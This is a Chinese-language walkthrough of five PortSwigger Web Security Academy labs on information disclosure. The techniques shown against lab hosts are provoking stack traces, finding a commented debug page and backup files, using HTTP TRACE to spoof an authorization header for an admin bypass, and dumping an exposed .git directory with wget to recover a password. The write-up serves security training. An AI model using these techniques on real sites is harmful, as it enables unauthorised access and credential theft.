Burp Web Academy 信息泄露

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的信息泄露(Information Disclosure)章节。

0x02. 信息泄露

2.1 Lab: Information disclosure in error messages

This lab’s verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.

针对如下 URL 进行测试:

1
https://0a95006b04f75d3984cd55ca002500a7.web-security-academy.net/product?productId=1

触发 404 的时候没有错误信息,尝试给 productId 传递特殊字符,比如 productId=%27%27,触发异常信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Internal Server Error: java.lang.NumberFormatException: For input string: "''"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:647)
at java.base/java.lang.Integer.parseInt(Integer.java:777)
at lab.r.l.u.o.l(Unknown Source)
at lab.v.v.t.v.P(Unknown Source)
at lab.v.v.b.e.m.O(Unknown Source)
at lab.v.v.b.a.lambda$handleSubRequest$0(Unknown Source)
at q.x.y.y.lambda$null$3(Unknown Source)
at q.x.y.y.H(Unknown Source)
at q.x.y.y.lambda$uncheckedFunction$4(Unknown Source)
at java.base/java.util.Optional.map(Optional.java:260)
at lab.v.v.b.a.N(Unknown Source)
at lab.server.d.s.m.z(Unknown Source)
at lab.v.v.v.S(Unknown Source)
at lab.v.v.v.z(Unknown Source)
at lab.server.d.s.q.p.V(Unknown Source)
at lab.server.d.s.q.u.lambda$handle$0(Unknown Source)
at lab.r.i.m.r.P(Unknown Source)
at lab.server.d.s.q.u.X(Unknown Source)
at lab.server.d.s.k.l(Unknown Source)
at q.x.y.y.lambda$null$3(Unknown Source)
at q.x.y.y.H(Unknown Source)
at q.x.y.y.lambda$uncheckedFunction$4(Unknown Source)
at lab.server.g9.z(Unknown Source)
at lab.server.d.s.k.s(Unknown Source)
at lab.server.d.c.f.A(Unknown Source)
at lab.server.d.j.r(Unknown Source)
at lab.server.d.o.r(Unknown Source)
at lab.server.gf.G(Unknown Source)
at lab.server.gf.c(Unknown Source)
at lab.u.z.lambda$consume$0(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at java.base/java.lang.Thread.run(Thread.java:1583)

Apache Struts 2 2.3.31

2.2 Lab: Information disclosure on debug page

This lab contains a debug page that discloses sensitive information about the application. To solve the lab, obtain and submit the SECRET_KEY environment variable.

查看页面源码,发现如下信息:

1
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

访问即可查看环境变量 SECRET_KEY 的值。

2.3 Lab: Source code disclosure via backup files

This lab leaks its source code via backup files in a hidden directory. To solve the lab, identify and submit the database password, which is hard-coded in the leaked source code.

根据提示,尝试访问 /backup PATH,发现有个备份文件 /backup/ProductTemplate.java.bak,打开即可看到硬编码的数据库密码。

2.4 Lab: Authentication bypass via information disclosure

This lab’s administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.

To solve the lab, obtain the header name then use it to bypass the lab’s authentication. Access the admin interface and delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

直接访问 /admin,提示 Admin interface only available to local users,直接尝试给 HTTP Header 增加 X-Forwarded-For: 127.0.0.1,发现还是同样的返回信息,去看了答案 :-D

GET 换成 TRACE,得到如下返回信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/2 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Content-Length: 771

TRACE /admin HTTP/1.1
Host: 0a1700b8047b1df9809321a900ba00a5.web-security-academy.net
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
accept-encoding: gzip, deflate
accept-language: zh-CN,zh;q=0.9
cookie: session=ULuOklV1sp6WnWjZMewJCh3pROxh37uD
Content-Length: 0
X-Custom-IP-Authorization: 117.129.56.106

所以,直接改回 GET 并增加 X-Custom-Ip-Authorization: 127.0.0.1 就可以绕过鉴权了。现在,需要给 Burp Suite 增加设置,让其自动为 HTTP 请求头增加新的字段,操作步骤如下:

  1. 点击 Proxy -> Options -> Match and Replace
  2. 点击 Add 增加规则
  3. Type 选择 Request headerMatch 留空,Replace 填写要增加的字段和值

Burp 为 HTTP Request Header 添加字段

接下来在 Burp 的浏览器就可以访问 /admin 页面了。在 Burp 的 HTTP history 中,默认显示的是原始请求,如果要查看修改后的请求,需要从 Original request 切换到 Auto-modified request

Burp 查看修改后的 HTTP Request Header

2.5 Lab: Information disclosure in version control history

This lab discloses sensitive information via its version control history. To solve the lab, obtain the password for the administrator user then log in and delete the user carlos.

根据提示,尝试访问 .git,发现存在 GIT 相关文件。

访问 /.git/COMMIT_EDITMSG,返回 Remove admin password from config,所以应该访问前一个版本就可以看到密码了。

使用 wget 下载这个 .git 目录:

1
wget -r https://0a6000ed03a5aea18178e8be00230072.web-security-academy.net/.git/

通过 GIT 操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ git log
commit 24149ac70173daf569a481330fe551a9ba3a1ef3 (HEAD -> master)
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Tue Jun 23 14:05:07 2020 +0000

Remove admin password from config

commit 8a84f2fa87e4b0442384cda3f5981336928f6228
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Mon Jun 22 16:23:42 2020 +0000

Add skeleton admin panel

$ git checkout 8a84f2fa87e4b0442384cda3f5981336928f6228
D admin_panel.php
Note: switching to '8a84f2fa87e4b0442384cda3f5981336928f6228'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

git switch -c <new-branch-name>

Or undo this operation with:

git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 8a84f2f Add skeleton admin panel

$ ls
admin.conf

$ cat admin.conf
ADMIN_PASSWORD=7v1k8nlcholroagw32p0

之后,尝试使用 admin 登录,提示 Invalid username or password,用户名换成 administrator 就可以了。

0x03. 小结

  • 触发异常后,可能返回对应的调用栈,可能泄露敏感信息
  • 网页源码中可能存在敏感的注释信息
  • 尝试使用字典扫描目录信息
    • 如果扫到 .git,可以使用 wget -r 下载下来在本地分析
  • HTTP TRACE 方法
    • The HTTP TRACE method is used for diagnostic purposes. It allows the client to see what is being received at the other end of the request chain and to use that information for testing or debugging. When a TRACE request is sent, the server echoes back the received request, so the client can see any changes or additions made by intermediate servers.
    • 但是通常情况下,服务器会禁止响应 TRACE 方法
  • Burp 自动增加、修改 HTTP 请求头中的字段信息

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#information-disclosure